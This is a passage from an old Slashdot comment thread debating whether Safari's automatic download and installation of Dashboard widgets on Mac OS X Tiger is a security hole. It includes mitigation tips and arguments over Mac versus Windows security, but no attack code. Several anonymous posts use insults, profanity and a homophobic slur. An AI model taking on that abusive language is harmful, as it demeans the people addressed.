      "The world is a construct of forceful imagination. Those who don't know walk around in the reailties of those who do"
  107. Re:Oh but it has, and you've proved part of my poi by EtherAlchemist · · Score: 2, Insightful


    Whatever. An exploit is an exploit. Patched or not, a hole is a fucking hole.

    I use a Mac, I know damn well updates are up to ME to install if I choose so. Any exploit and vulnerability EVER found in a Mac still exists, simply releasing a patch DOES NOT MAKE IT GO AWAY.

    Case in point, last week 20 patches for vulnerabilities for 10.3.9 were released. Those are fixed in 10.4. Does that mean the hole is plugged? NO. A patch was released and the new software doesn't have the flaw, but anyone still running 10.3.x without the patches installed is still at risk.

    Is it stupid to not install the patch, yes, duh. And yet people on all OSes fail do to just that.

    Want me to put up? HERE it's from the holy seat itself.

    It's a fact, one you overlook so you can act like an ass instead. Do so if you want, but stop pretending Mac OS is invulnerable.

    --
    R(k)
  108. Re:Nice try by Raffaello · · Score: 1

    Unfortunately I have no idea how to actually implement that in a usable manner.

    Neither does anyone else, which is why such "exploits" are completely uninteresting.

    As long as users need the power to do potentially harmful things such as modify or delete files in order to get work done, it will be possible to trick them into doing so. Any "exploit" that relies on tricking the user is not a flaw in the OS, but relies on the gullibility of users.

    There is nothing that can possibly stop social engineering of this sort short of an OS that prevents users from ever deleting or modifying files. Maybe one day storage will become so inexpensive that a file system that archives all previous versions of all files will be implemented. Until then, it will always be possibly to trick the user into deleting important files, because the user needs the ability to modify and delete important files (i.e., his own user data) in order to get any work done.

  109. Not much of a problem...For a non-expert. by Anonymous Coward · · Score: 0
    "Almost by definition, few people are experts."


    " 1. An expert or experienced person; one instructed by experience; one who has skill, experience, or extensive knowledge in his calling or in any special branch of learning."


    I'm an expert in being human. An expert in posting to slashdot. An expert in designing an ad. An expert in roofing a house. An expert cook. Exactly what particular "non-expert" are you looking for.
  110. Re:Nice try by drsmithy · · Score: 0, Troll
    But the underlying philosophical design principles are fundamentally more secure than Windows, period.

    How ?

    Since the major ingredient for the success of a worm or virus is some ability to spread, witness the fact that there is no way with anything built into Mac OS X to perform automated propagation of a virus, [...]

    OS X has exactly the same functionality "built into" the OS to allow code propogation as Windows does - ie: it can run code.

    Any hope for automatic propagation would require a comparatively high level of sophistication, and perhaps even its own mail server - not to mention some intrinsic vulnerability to exploit.

    Rubbish. All it needs is a way to get the user to execute it, just like that vast majority of Windows "viruses" do. "Free porn" tends to be reasonably effective at achieving this goal.

    On the other hand, there are still, to this moment, unfixed vulnerabilities in certain versions of Outlook that will spread certain virus variants simply by previewing a message, and nothing more.

    Links ?

    The marketshare argument only goes so far. This seems to be a version of the "Macs have no software" argument.

    It's not a variation on that argument at all. OS X's *vastly* smaller marketshare has a significant impact on exploits:

    Fewer people who can write the code

    Fewer machines to target

    Hence, much slower infection rates

    Hence, much more limited impact

    Hence, much easier to contain

    The much smaller community also means news of exploits travels faster.

    The user demographic is also significant. Macs are more expensive, so the typical Mac owner is more likely to be a higher income earner. This in turn means they're more likely to be better educated, follow the news and actually think before acting (ie: they're less likely to open that program promising free teen b00bies).

    But the argument that it's straight cause-and-effect is disingenuous. If this principle were true, the apache web server platform would have far more vulnerabilities than IIS, since apache is by far the most widely used web server on the internet. But not only does apache not have more vulnerabilities, the disparity is laughable.

    Stats ? Methodology ? Do you normalise for the higher likelihood Apache is running on systems more likely to be properly maintained ?

    This is a perfect example of greater exposure not necessarily equating to increased vulnerabilities.

    That's not the argument (indeed the argument that marketshare has anything to do with the *number* of vulnerabilities is ludicrous). The argument is that higher marketshare means any discovered vulnerabilities will spread faster, have a much greater impact and stick around for much longer.

    Indeed, your whole rant against the "marketshare" argument is irrelevant because you've started from an incorrect assumption of what the "marketshare" argument means.

    We'd definitely see more bad-guy action. Whether any of it is fruitful remains to be seen.

    Nor is it ever likely to "be seen", forming a very handy circular, self-supporting argument against the "marketshare argument".

    The vast bulk of malware only gets into the system because *the end user* executes it at the behest of web page dialogs, emails, etc. Somehow I can't see that changing were OS X (or even Linux) to become as omnipresent as Windows.

    Or are you saying that after a while, security updates will only be available for relatively recent versions of the core OS, meaning you are more-or-less forced to upgrade? If so, how is that any different than the Windows model?

    The difference, at least at this point in time, is that Microsoft support old versions of Windows for about seven years, whereas Apple support old versions of OS X for about three, if that.

    But there is simply no suitable vector, akin to similar past (or present) vectors on Windows, for mas

  111. Re:Install failed on my Mac!!! How to protect your by yabos · · Score: 1

    I may be missing something, but I don't even HAVE a ~/Library/Widget folder

  112. Re:Oh Joy! by Anonymous Coward · · Score: 0

    They must be upset that this isn't another article where they can go on long circle jerk pieces about why the Mac OS is sooo secure, never has any viruses/exploits/spyware/etc or ever will, and that only "M$ Winblowz PeeCee Luzers" get viruses/hacked/spyware/etc.

    It really hurts them to hear the truth, and have their little fantasy world getting crushed by reality.

  113. This is a non-issue unless you are lazy... by jwthompson2 · · Score: 1

    I say this because I just hit the site in Safari and the zip package was downloaded but only sits quietly on my desktop waiting for me to delete it. Why? Because under Safari > Preferences > General I have the stupid 'Open "safe" files automatically' unchecked. This keeps any autoinstallation from occurring, too bad Apple didn't change the new version of Safari to stop using that "safe" file lingo which is incredibly confusing to stupid people who don't read the caveat below or know anything about their computer.

    --
    Even if I knew that tomorrow the world would go to pieces, I would still plant my apple tree. -Martin Luther
  114. Hush Fanboy by Anonymous Coward · · Score: 0

    sweet mother of god you're annoying (not to mention wrong)

  115. Why do we still have auto-installers in browsers? by Animats · · Score: 2, Insightful
    The whole concept of browsers installing executables is just wrong. Microsoft created Active-X as a way to make sites incompatible with non-IE browsers and to fight Java, not because it was a useful idea. So then Mozilla goes and implements their own answer to Active-X for downloading and installing executable add-ons. Then Apple does the same.

    Then these downloaded executables then get run with all the user's privileges, not in a jail or sandbox. Java may not be perfect, but at least Sun understood they had to run applets with less privileges than user applications.

  116. Nice scare by Anonymous Coward · · Score: 0

    If by "restart" you mean "restart dashboard" and by run you mean "provide in the dashboard programs bar" and by widget you mean "something limited by the scope of javascript" then yes, it does what you say. Otherwise you're bitching. I understand the idea that Safari shouldn't auto-install things, but it's not like this thing starts arbitrary binaries at boot-time -- it just installs a javascript file, which a user still has to launch, in a specific folder. Get over yourself.

  117. How to protect yourself in ONE EASY STEP by dspisak · · Score: 2, Informative

    http://www.nonmundane.org/~dspisak/media/slashdot/ howtoprotect.png

    Yeah this exploit is sorta lame, but its also trivial to plug in the meantime.

  118. Dashboard tips by Absentminded-Artist · · Score: 4, Informative

    Fascinating article. I installed zaptastic_evil and was amused by it. Very annoying indeed. Widgets simply should not do this.

    Just a few points of interest.

    1) The widget may automatically download and get copied into the widgets folder, but it is not automatically installed onto the active dashboard. Therefor the user would have to manually click on it. Without knowing the widget is there, the user may not ever notice it. Of course, this is still a security risk, but this isn't the best way to propogate malware.

    2) Widgets can be deleted manually as pointed out in the article by going into ~/Library/Widgets and removing the unwanted widget

    3) The Dashboard can be reinitialized by killing the Dock. Those not familiar with terminal can just fire up Activity Monitor and kill the Dock there. The Dock immediately relaunches, then Dashboard reinitializes when it is launched again and the offending widgets are gone.

    4) Apple should allow us to delete widgets from the dashboard, but the behavior when clicking and dragging a widget off of the Dashboard installs the widget instead of bringing up the delete puff of smoke. This behavior is at odds with every other taskbar/dock/menubar in OS X. I would recommend Apple change this.

    5) We ARE dealing with Dashboard 1.0 so there are bound to be bugs needing to be squashed. Personally, I enjoy Dashboard but find it difficult to manage when there are too many widgets deployed. I find myself wishing for Exposé for Dashboard! LOL I also wish that widgets would reinitialize without force quiting the dock and that the dashboard would be a bit more dynamic. Sometimes deleted widgets take a while to disappear off the dashboard as well as newly installed widgets. I look forward to the upcoming 10.4.1 release.

    --
    The Splintered Mind - Overcoming
    1. Re:Dashboard tips by Kyusaku+Natsume · · Score: 4, Insightful

      Certainly the cleanup and prevention is easy, but the fact that Safari downloads automatically widgets without user intervention/request is incredibly stupid, even more than the autoinstall -this is already stupid-, the guys who put those "features" on an fairly secure, wonderful and useful system sould be fired; this is seer incompetence, and a disservice for the rest of the fine, great OS X team. What the hell where they thinking? This sould have been scrapped in the design phase of Dashboard.

      I read this 5 hours ago and still I'm amazed. I say this has a -otherwise- happy mac user, and someone that made 6 friends switch to the mac.

      --
      Mexico: 100% conservative's America now!
  119. Re:Oh but it has, and you've proved part of my poi by BasilBrush · · Score: 3, Informative

    The grandparent was right. There haven't been any exploits. Both you and the link you give confuses the concepts of exploit and vulnerability. Exploit != vulnerability. A vulnerability is only the potential or an exploit, and it often blocked by other security measures in a properly layered security system.

  120. A click away from DOOM by guet · · Score: 1

    Only allow widgets to access certain websites named in their plist? When the widget starts for the first time warn the user which urls it will attempt to acccess and ask for permission (this would be a useful thing in my opinion anyway system-wide, it should be possible to see which apps are talking to which servers a la Little Snitch and have fine-grained control).

    Really though, there are a few things they could do that would make this situation a lot better : -

    Safari should not download files from the Internet without warning via javascript/page refresh (why does this work anyway, it was already the cause of another security hole a while ago??).

    It should not auto-install widgets. Ever.

    The user should be able to remove widgets from Dashboard (not by fiddling in the library folder).

    Apple should *never* have given people the impression widgets were anything other than full Applications - this should be clearly stated on their widgets page. They can run arbitrary shell commands and scripts for god's sake, after one innocuous warning dialog.

    They should treat all widgets exactly the same as scripts and applications (if you try to have safe and non-safe ones you can bet someone will figure out a way round it). So show the warning about trusting apps on first run. The present dialog just says

    'xxx widget is being run for the first time, are you sure you want to run this widget' (User thinks, well yes, that's why I double clicked it). That's all.

    Consider a vetting program for widgets (and even applications) so that they have a 'certified clean' listing on the Apple site. A whitelist since you don't like blacklists.

    Personally I have changed the permissions on my widgets folder so I'd have to authenticate before installing, however I can't expect my non tech-savvy friends to do this - perhaps I could send them a widget to do it : )

    I expect a fix from Apple, but worryingly a few of the 'security' features in Tiger are doing things the wrong way, bombarding the user with different pop-up windows asking for permission for almost every zip file, saying this 'may' be dangerous and we all know what happens when users learn to click OK on several dialogs before they can do anything - they stop reading the dialogs and clickety-click their way to doom.

    They need a small number (ideally 1) of consistent dialogs which have the same message - things you download from the internet are not safe, be very careful that you trust the source before running, to be triggered on first run of an app/script/widget.

    1. Re:A click away from DOOM by taybin · · Score: 1

      Apple already has a whitelist. They host third party widgets.

      http://www.apple.com/downloads/macosx/dashboard/

    2. Re:A click away from DOOM by Gulthek · · Score: 1

      Right, and that's a handy resource. But Safari doesn't only install widgets from that webpage...which is what a whitelist would be.

  121. Safe files - Isn't this the first case of abuse? by Anonymous Coward · · Score: 1, Interesting

    I've always let safe files be opened by Safari. All this ever seemed to do was autolaunch PDF and media files and autodecompress zip archives. It was nice to have Safari do this for me since it also cleaned up after itself and removed the zip file while leaving the archive I had just downloaded. So automatically opening safe files was something I wanted Safari to do.

    Some of you former Windows guys are fairly paranoid, though I can hardly blame you. I've had one virus on my PC in the decade or so that I've used them. I'm very careful on PCs, but never saw the same vulnerability on my Mac. This code (
    ) is very annoying and I don't like the fact that Safari downloaded that file without my permission. This has happened before when using Safari, but only on sites with PC autodailers or adware installers. Those .exe files don't do anything on the Mac, obviously. And usually uncompressed "safe" files just sit in the default download directory. Isn't this the first time a form of installation actually occurred using Safari?

    Couldn't this be fixed if Apple disabled meta pushed downloading from within Safari and didn't auto install the widgets? Then people like me could keep "Open safe files..." checked. I don't open anything I haven't downloaded on purpose. I'm careful and responsible and like the convenience of auto disk image mounting, etc...

    Can't I have my cake and eat it too? :(

  122. Re:Oh but it has, and you've proved part of my poi by Anonymous Coward · · Score: 0

    If you go to the secunia site you'll see all the holes have been plugged... Let's take a look at XP, or some other OS? :D

  123. Try FlashBlock by Anonymous Coward · · Score: 0

    It's not an application, it's a widget. On your preferred browser, are you asked everytime before a flash plugin is downloaded and executed? No, not unless you disable flash. It's similar with these widgets, except they are not executed automatically, only downloaded.

    I'm using FlashBlock for Firefox, so yes, I am being asked before the Flash is executed. It's an extension to Firefox, but I believe EVERY browser should have such a fine feature built in. Once you start using it, you'll never miss the obnoxious ads on the net again.

    Btw, if images could insert arbitrary code in IE and Firefox, how secure can Flash be against malicious code?

  124. Dumb and innececesary by Kyusaku+Natsume · · Score: 1

    Firefox and Safari use a download management window, making easy to find and open/execute the downloaded files. Even in OS X Tiger this function is more useless, because you could use Spotlight to search for the file. Making easy to make the system insecure to save 2 or 3 keystrokes/clics is crimminal.

    --
    Mexico: 100% conservative's America now!
  125. Re:Oh but it has, and you've proved part of my poi by U96 · · Score: 3, Funny


    I use a Mac

    We could tell from your beret.

    --

    "I thought they were the dominant species..."
  126. Re:Safe files - Isn't this the first case of abuse by Absentminded-Artist · · Score: 1

    Convenience and ease of use are two large factors that account for why I use my Macs more than my PC. So I agree with you that the "open safe files" feature is very handy. Usually, this merely opens up files that I clicked on to download, be they zipped archives, PDFs, or disk images. But since Safari can be forced to autodownload files via the meta refresh tag and then autoinstall them if they are dashboard widgets, this convenient feature just became a liability.

    Of course, if Apple plugs up the holes "open safe files" can return to its useful state. I think this is the first time we've seen a security hole like this in OSX. It's Windowsian in its scale and incompetence... I am curious to see how quickly Apple fixes this breech.

    --
    The Splintered Mind - Overcoming
  127. in other news by kula.shinoda · · Score: 1

    safari gains activeX support

    --
    Real men don't write sigs
  128. Re:Oh but it has, and you've proved part of my poi by Anonymous Coward · · Score: 0

    oh please kids stop fighting
    there are bugs in every os of the world
    program your own os if you think you can do it better (which i doubt)

    why dont you just post something useful!?

    erasmus

  129. Where EXACTLY is the autoinstaller? by argent · · Score: 1

    Safari isn't explicitly running an installer, it's "opening a safe file after downloading", because it thinks "ZIP" is a safe file. Now, I don't think of "ZIP" as safe, and I don't think browsers should be opening "safe" files anyway because that turns any security hole in the general purpose application involved into a security hole in Safari, but let's set that aside for a moment because there's another question in my mind here...

    In Panther and earlier, "ZIP" files are opened by Stuffit Expander. Stuffit Expander has its own problems, like it automatically mounts disk images by default (another thing to turn off while you're turning things off) but I don't think it automatically runs "safe" programs. Not only that, but it predates widgets so wouldn't be expected to automatically install a widget when it saw one.

    But in Tiger they don't include Stuffit or Aladding Expander, so presumably they have a different program for handling "ZIP" files. And THAT program would be the one that's automatically running the installer.

    Someone with Tiger... what's that program? Because if that program's automatically running installers it's apparently less secure than the old Expander... and that's ANOTHER security problem to wach for.

    1. Re:Where EXACTLY is the autoinstaller? by Anonymous Coward · · Score: 0

      So let me get this straight...

      You are running your mouth off inventing 'security problems' and you haven't ever run Tiger and Dashboard???

      You don't have any clue that 'installing a Dashboard' widget is nothing more than moving the file into the user's widget directory where it just sits there and does not execute - no different than when you download any executable to the desktop. No code is executed until the user explicitly decides to do so.

      It's time for you to STFU and stop spreading lies.

    2. Re:Where EXACTLY is the autoinstaller? by argent · · Score: 1

      You don't have any clue that 'installing a Dashboard' widget is nothing more than moving the file into the user's widget directory where it just sits there and does not execute

      Yes, I know that. I'm not sure what your point is, though. I don't see what difference that makes... let's defuse the whole "We're talking about Apple" field and talk about Microsoft. Let's say there was some kind of installer on Windows that was absolutely secure and all it did was to move an executable to "Program Files" and put a link to it in your "Start Menu".

      Didn't execute any code. Well, not right away. The user has to select that entry in the Start menu, but remember... there's not normally any danger to running programs from the Start menu, they're already installed. Running a program in what is presented as an "internal" space is not something people worry about. It doesn't raise any red flags.

      This is nothing like "downloading executables to the desktop". It is not (as I noted in another message) anywhere near as dangerous as things like ActiveX, but it is a security problem.

  130. WARNING THE USER IS NOT ENOUGH by argent · · Score: 1

    For the past ten years Microsoft has been trying to keep users from running exploits by warning users when they're doing something that in some circumstances might be an exploit, by having a last-minute dialog that pops up. This has not prevented the spread of viruses and malware, all it's done is teach people to "OK" dialogs. I spent years doing support for Windows users and I can't tell you how many times I got called in after someone's done this.

    These kinds of warning dialogs, like the ones they introduced last June to "fix" the LaunchServices hole, DO NOT WORK. They are the computer equivalent of prescribing unnecessary antibiotics. Even if these dialogs could be depended on actually showing up (which they can't), they don't work.

    Any browser, or any other application that is used to view untrusted documents, MUST be a completely sandboxed environment. It NUST NOT have any mechanism to automatically pass control on to any environment that is not equally sandboxed, whether it pops up a dialog or not.

    In particular, at the very least, a browser MUST NOT do any of the following things:

    1. Enable a local access mechanism based only on the location of an object (this is where the Firefox XPI hole comes in, as well as (of course) the whole sorry history of 'cross zone' exploits in IE).

    2. Automatically run any desktop applications on downloading a file (this is where "open safe files" fails).

    3. Automatically install a plugin (ActiveX, XPI, possibly this Widget exploit... I'm not sure where the actual install is being handled).

    4. Use the same list of "helper applications" as the desktop environment (this is where the "help:" hole or the Windows CHM hole came from).

    There's lots more, but these are a few of the ones that have recently been exploited. The basic principle is that unless the user explicitly asks you to (and that means more than just clicking OK on a routine dialog box), you MUST NOT pass control to an application that you do not know, for certain, is designed to handle unsafe content.

    So, the better solution, is only pass control to things that are intended to handle unsafe objects. That's a much shorter list:

    1. Plugins that at some point in time were explicitly installed by the user.

    2. Components included with the browser.

    3. Helper applications that were explicitly registered for use with untrusted objects. That means "registered with the browser", not "registered with the desktop".

    I can't think of anything else. Any other tools, the user should download and manually install themselves. Now that's not certain, I've had a few users download and then explicitly run malware, but it happens an order of magnitude less often and I've yet to have a user do it twice.

  131. Here's my plan -- I'll do what Apple hasn't done by TomorrowPlusX · · Score: 3, Insightful

    When I installed Tiger I thought to myself "why hasn't apple provided a mechanism for Widget management?"

    Secondly, I thought to myself "it would be so easy for a widget to do nasty things"

    So, here's what I'm going to do: I'm going to write a preference pane to manage widgets. It'll come in a few phases:

    Phase 1) Preference pane which will allow you to turn on/off particular widgets in your ~/Library/Widgets folder by moving turned-off widgets to, say, ~/Library/Widgets (Disabled). I just did a test and discovered that the parent process of Widgets is the Dock, which means that the Dashboard is just a Dock mechanism. So, killing the dock ( politely, even ) will give Dashboard a chance to reload, since the Dock restarts automatically.

    Phase 2) Write a widget scanner -- something which greps the widget source for keywords like widget.System() and whatever parameters are required for custom binaries which widgets can run. Now, I recognize I can't tell *what* those calls do, but I can at least put up a big red exclamation point next to the widget in the preference pane saying "This widget is potentially dangerous"

    Phase 3) Write a small bundled app to be packaged with the preference pane which associates itself with the .wdgt extension, and (somehow) gets higher association relevance than the Dock for execution. Then, when a widget is double-clicked on it gets copied directly into ~/Library/Widgets ( Disabled ) -- giving you the chance to enable it or not before the Dashboard gets it.

    This sounds like a PITA, but Apple shoulda done this in the first place.

    Apple: You're drunk on the perceived security of your platform. Don't keep making the stupid mistakes.

    A -- potentially better -- option is to have something like an "approved" widget download area. Say, apple's servers, where you know widgets hosted there have been given the thumbs up. Doesn't Firefox do something sort of like this for extensions?

    --

    lorem ipsum, dolor sit amet
  132. Re:Oh but it has, and you've proved part of my poi by Anonymous Coward · · Score: 1, Insightful
    etheralchemist whines
    I have no problem with using one OS or another

    Why is it that the energizer bunnies parading back and forth about how win xp is better than mac os x, always insert a caveat that they don't really care about which os they use? Note: i only use the term "energizer bunny" for those win xp fanboys who make the utterly lame claim that mac os x relies entirely on security through obscurity, and that the number of exploits is directly proportional to market share (which it's not).
  133. Re:Oh but it has, and you've proved part of my poi by Anonymous Coward · · Score: 2, Interesting

    BSD has holes == Mac OS X has hole

    Oh? And what part of the BSD subsystem has had holes? OSX uses a different kernel, all tcp/ip exploits are in the hands of OSX developers. All the exploits I've seen for Jaguar involve 3rd party software like sendmail and apache (exempting Apple's own software).

    The reality is that while BSD has had some security issues (as does everything), few to none of them have to do with OSX.

  134. Re:Oh but it has, and you've proved part of my poi by mp3phish · · Score: 2, Informative

    The grandparent was right. There haven't been any exploits. Both you and the link you give confuses the concepts of exploit and vulnerability.

    Wow, have you got a lot to learn... Did you not read the article AT ALL? Claiming that the apple system is a "properly layered security system" is an opinion, not a fact. Some might agree it is more proper than windows XP. I'm not here to argue wether that is true or not. I'm here to argue that either 1) a properly layered security system doesn't give you a secure system or 2) the MacOS doesn't have a properly layered security system.

    One of the above(or possibly both) is true. It is up to you to decide which and quit sitting up on your high horse thinking you are a god for using MacOS.

    --
    Your ignorance is infinitely greater than you realize.
  135. Re:Oh but it has, and you've proved part of my poi by Anonymous Coward · · Score: 0

    Feel better now faggot?

    Say hi to your Windows anti-virus and spyware software loser!

  136. So turn it off by __aafutm5472 · · Score: 3, Informative

    I meant they should fix it in not allowing an untrusted remote application to be downloaded on a local computer with no interaction from the user.

    So turn off the ability. In Safari, open Preferences, and on the first tab, de-select 'automatically run "safe" files upon download.' Then, it'll download it, and you can manually install the widget by copying it to /Library/Widgets. No need to restart OS X or Dashboard, it just shows up.

    This was one of the first things I tweaked after switching to a Mac. I noticed it'd automatically mount disk image files, and I could see the potential security implication, so I found the checkbox and tunred it off.

    It's not rocket science, just basic research.

  137. Re:Here's my plan -- I'll do what Apple hasn't don by argent · · Score: 1

    Doesn't Firefox do something sort of like this for extensions?

    Yes, and it's already been used to develop an exploit based on faking Firefox out and making it think that it's downloaded a script from Apple's site.

    The RIGHT fix is for the browser to NEVER do anything with any material it sees except (1) handle it completely in its own sandbox, (2) download it to a file and let the user explicitly decide what to do with it on their schedule, or (3) hand it off to an application or plugin that was registered with it (the browser or a registry intended specifically for untrusted content like "Library/Internet Plug-Ins", NOT LaunchServices) as being intended for use with untrusted objects.

    That's it. There is no fourth option.

  138. AUGH. bad dog! by argent · · Score: 1

    I wrote ...and making it think that it's downloaded a script from Apple's site...

    Obviously I meant Mozilla's site.

    Where the hell is my proofreader? I even previewed that, and I missed it. BAD HUMAN. NO BISCUIT.

  139. Re:Here's my plan -- I'll do what Apple hasn't don by Cmdr+TECO · · Score: 1
    A -- potentially better -- option is to have something like an "approved" widget download area.

    The site DashboardWidgets has moderators review widgets before they are made available for download. While this wouldn't stop subtle trojans (which are not a uniquely widget problem) it will exclude adware, spoofs, and the like.

    --
    echo 33676832766569823265328479713269.8639857989Pq | dc
  140. Re:Here's my plan -- I'll do what Apple hasn't don by Sentry21 · · Score: 1

    A -- potentially better -- option is to have something like an "approved" widget download area. Say, apple's servers, where you know widgets hosted there have been given the thumbs up.

    Ask and ye shall recieve - Mac OS X Downloads - Dashboard

  141. The Fix is in the install prompting routine. by Paradox · · Score: 1

    The fix isn't anything so complex.

    The fix is to make sure that Safari always prompts you before auto-install or safe open. Especially when it doesn't happen as the result of a GET (as in the example page, check out the refresh header at the top of the source, that's not cool).

    I'm sure there are people out there who want reolving porn widgets on their dashboard. More power to them. What's key there is that they want and Safari needs to ensure that it always asks that question.

    --
    Slashdot. It's Not For Common Sense
  142. Oh puh-leeze by Anonymous Coward · · Score: 0

    What a self-agggrandizing little twit -- camparing his widgets to nuclear weapons indeed!

  143. Really not very annoying by Anonymous Coward · · Score: 0

    NOTE: widget are not automatically activated by default, even they are installed corectly inside Library/Widget folder. This means that the user has to be convinced to run the widget. Moreover, if the widget contains some code, not js (that's may be the fault), Safari warns the user that he is installing an application.

    However, it's convenient to disable automatic opening of documents from Safari preferences.

  144. Those widgets aren't reviewed... by mbessey · · Score: 1

    From the download page:
    "Apple is providing links to these applications as a courtesy, and makes no representations regarding the applications or any information related thereto. Any questions, complaints or claims regarding the applications must be directed to the appropriate software vendor."

    -Mark

  145. Widget Doesn't Actually Run! by gunnmjk · · Score: 0

    The widget doesn't actually run when it's installed! It is simply placed in your dashboard. It won't run until you:

    1) Activate Dashboard
    2) Press the + sign to turn on widgets
    3) Select the widget you want to have turned on

    It's essentially the same as opening an unknown file on your desktop, except instead of being on your desktop, it's in the dashboard.

  146. Not a problem by gaelicwizard · · Score: 1

    Well, since I'm not quite stupid enough to keep the 'Open "Safe" files after downloading' box checked, then this only resulted in a zip file appearing on my desktop. Not to mention that in Safari on Tiger, it fricken' prompts you whenever you download anything that may contain a program, i.e. a zip file. This bug will only hit the idiots out there. Unfortunately, that includes anyone who doesn't know to turn off the *default* behavior of auto-open downloaded files.

    --
    -- JP
  147. "approved" widget download area by Johnny+Mozzarella · · Score: 1

    Apple has an "approved" widget download area

    http://www.apple.com/downloads/macosx/dashboard/

  148. 2 ways to prevent this problem by chuffdogg · · Score: 1

    First you can go to preferences in safari and turn off "Open safe files after downloading". However what I did is add the folder action add - New item alert.scpt. Since widgets don't run till you go to dashboard and click on them, this will warn you the second one is added, you can then go to that folder and delete the widget. I think I am going to make my own script that will ask me if I want to keep the widget yes/no, and then delete the file if I say no. I really think apple should turn off auto install. You only need to double click a downloaded widget to install, so they don't need this added "convenience"

  149. Bad example by devphil · · Score: 1


    Actually, yes, I am, and I love it.

    --
    You cannot apply a technological solution to a sociological problem. (Edwards' Law)
  150. This is not new. by argent · · Score: 1

    This is not new, I've watched Apple make a whole series of design decisions that have the potential of putting OS X' security at stake, right from the first version of Safari when it was a beta on Jaguar. Most of these problems are still there, because most of them haven't yet been turned into exploits, or because by themselves they don't lead to an exploit, or because Apple has found a way to stop some particular exploit without fixing the underlying problem.

    None of them are anywhere near as bad or as deepely embedded as the ones Microsoft has burned into the core of Windows' user interface, but they do show a singular lack of healthy paranoia on Apple's part.

    Some hilights: Using Finder for FTP URLs, using LaunchServices for handling URIs, making "open safe downloads" the default, adding warning dialogs to LaunchServices instead of giving apps handling untrusted content their own stripped down database containing only sandboxing applications, internet enabled disk images, adding a warning dialog to the installer instead of treating the installer as an "unsafe" application, ... and on and on ...

    1. Re:This is not new. by Kyusaku+Natsume · · Score: 1

      Well said.

      Personally, I tell to my mac user friends that they sould be careful, but the ones that aren't IT professionals, use their machines without internet conection. The problem are the uncritical Apple fanboys and the thousands of clueless users that don't know better.

      MS gives their users a machine gun to shoot themselves on the foot, and Apple now gives a shinny (sp?), full loaded Colt. In the end, the efect can be the same. All to "save" a few mouse clics.

      Incredible.

      --
      Mexico: 100% conservative's America now!
    2. Re:This is not new. by argent · · Score: 1

      I don't want to minimise the difference between Mac OS X and Windows here.

      Apple's taking baby steps down the path to the Dark Side. Microsoft's got the whole "cackling as they fry trusted servants with lightning from their dramatically raised fingertips" shtick down pat.

      But Apple *is* taking those steps. Damn it.

  151. "safe" files download by frankie · · Score: 1

    I would rather have Apple define "safe" properly and exclude anything capable of installing itself (or other files) outside of your designated download location.

    Web page which drops a visible file on my desktop: not so bad.

    Web page which adds anything to my Library folder: bad.

    1. Re:"safe" files download by Anonymous Coward · · Score: 0

      That's why you have the fucking option, numbnuts. For those of us without paranoid reactionary tendencies, opening a widget IS safe - all that does is move it to Library/Widgets. NOTHING IS EXECUTED. Therefore it goes in the list of "safe" files.

      For tinfoil hat wearers like yourself, go ahead an uncheck that.

  152. Living in a fool's paradise. by hey! · · Score: 1

    And you can't just make words that have meanings be synonyms when they are not.

    You are engaging in sophistry here. I didn't say that a malicious web site could execute dashboard widgets remotely. What I am saying is that the malicious web site can take advantage of a security misdesign in the broswer to persistently alter your system without your awareness or permission. This meets the dictionary definition of "execution", if you must be pedantic, which requires only the ability to carry out instructions, not that these instructions be unlimited in nature. Those instructions may be as little as attaching a mime type to a file, but if they are seen by the bad guys as a way to get your system to do something specific, they're instructions.

    Granted, this is, so far, a limited exploit. But it's extremely foolish to discount this out of hand. The Internet is a hostile place for users. People do want to exploit the users and their machines and will actively work to find exploits for any promising hole that is opened. Suppose a sandboxing vulnerability is later found in Apple's ECMAScript implementation, or it's HTML renderer? Just such an exploit bit Microsoft on the ass in the CHM help file format. Black hats work exactly this way -- they exploit things like help files that are viewed by users as inherently benign. Now, combine a vulnerability with automatic installation and a bit of social engineering and you've got the potential for real trouble.

    Face it -- this is a screw up. It's not the end of the world, and it's not the worst serious security hole ever found on an operating system, or even in the last year. But in my opinion it's an extremely stupid mistake to make at this point in history, but I suppose honest people might disagree whether it is stupid, and still others might think that having some complete stranger be able to install software on your computer without your knowledge or permission is a good thing.

    In any case I think you're taking it too personally that I happen to think Apple screwed up here. Everybody screws up sooner or later, what's it to you?

    --
    Post may contain irony: discontinue use if experiencing mood swings, nausea or elevated blood pressure.
    1. Re:Living in a fool's paradise. by Anonymous Coward · · Score: 0

      The problem is that you're wrong, and you and everyone else are spreading yet more FUD. This is not a "misdesign" and it is not a screwup. A fucking file gets downloaded and placed in a directory. Big fucking deal. It's EXACTLY the same as any webpage that auto-redirects to a zipfile, tar file, Word document, you name it. Any file not handled directly in the browser gets - you guessed it - downloaded to your computer. If that's your definition of "persisently altering your computer" then you'd better start railing on every modern web browser in existence. It's the same fucking thing.

      Like someone else said, you want so badly to find a security issue here, yet there is none. It's no different from any other browser, with the one exception of the file's final destination.

      I don't expect Apple to change this behavior one bit, because it doesn't need to be changed. If the user doesn't like it because they're a paranoid dumbass, then they can disable the "Open safe files" option. There's a reason it says safe: because they are. The definition of "opening" a widget is simply moving it to another directory. There's absolutely nothing unsafe in doing so. You still get a warning when running an untrusted widget for the first time. WHAT THE FUCK MORE DO YOU WANT??

      Nice try. No security problem here, so go fucking home, troll.

    2. Re:Living in a fool's paradise. by hey! · · Score: 1

      It's EXACTLY the same as any webpage that auto-redirects to a zipfile, tar file, Word document, you name it.

      Not really. Every browser I've used pops a dialog in response to downloading a zip or tar file. A better example would be a jpeg file, which is downloaded as part of the page into the browser cache.

      The problem is that you're wrong, and you and everyone else are spreading yet more FUD

      I have no reason to spread FUD about Apple, since I want them to succeed. You know sometimes, when everybody disagrees with you, it can be because you're wrong.

      It's no different from any other browser, with the one exception of the file's final destination.

      The fallacy here is that it makes a great deal of difference where something is downloaded. The browser cache has several important properties that make caching files such as images linked to on the web page benign, which are not shared by this situation. The first and most important is that the browser cache is used by one and only one application for a single purpose: to reduce network traffic when the user requires that file in the browser. In other words the browser cache is not an interface to the rest of the system. The browser cache also, by the way, is self-managing.

      I don't expect Apple to change this behavior one bit, because it doesn't need to be changed.

      Now convince me that silently installing a piece of software on the user's computer is better than saying asking the user whether this is what he wants, and you've carried your argument.

      If the user doesn't like it because they're a paranoid dumbass, then they can disable the "Open safe files" option.

      First of all, you should realize that there is a word for calling people who diagree with you "dumbass". It's "arrogance". Pride goeth before the fall.

      You still get a warning when running an untrusted widget for the first time. WHAT THE FUCK MORE DO YOU WANT??

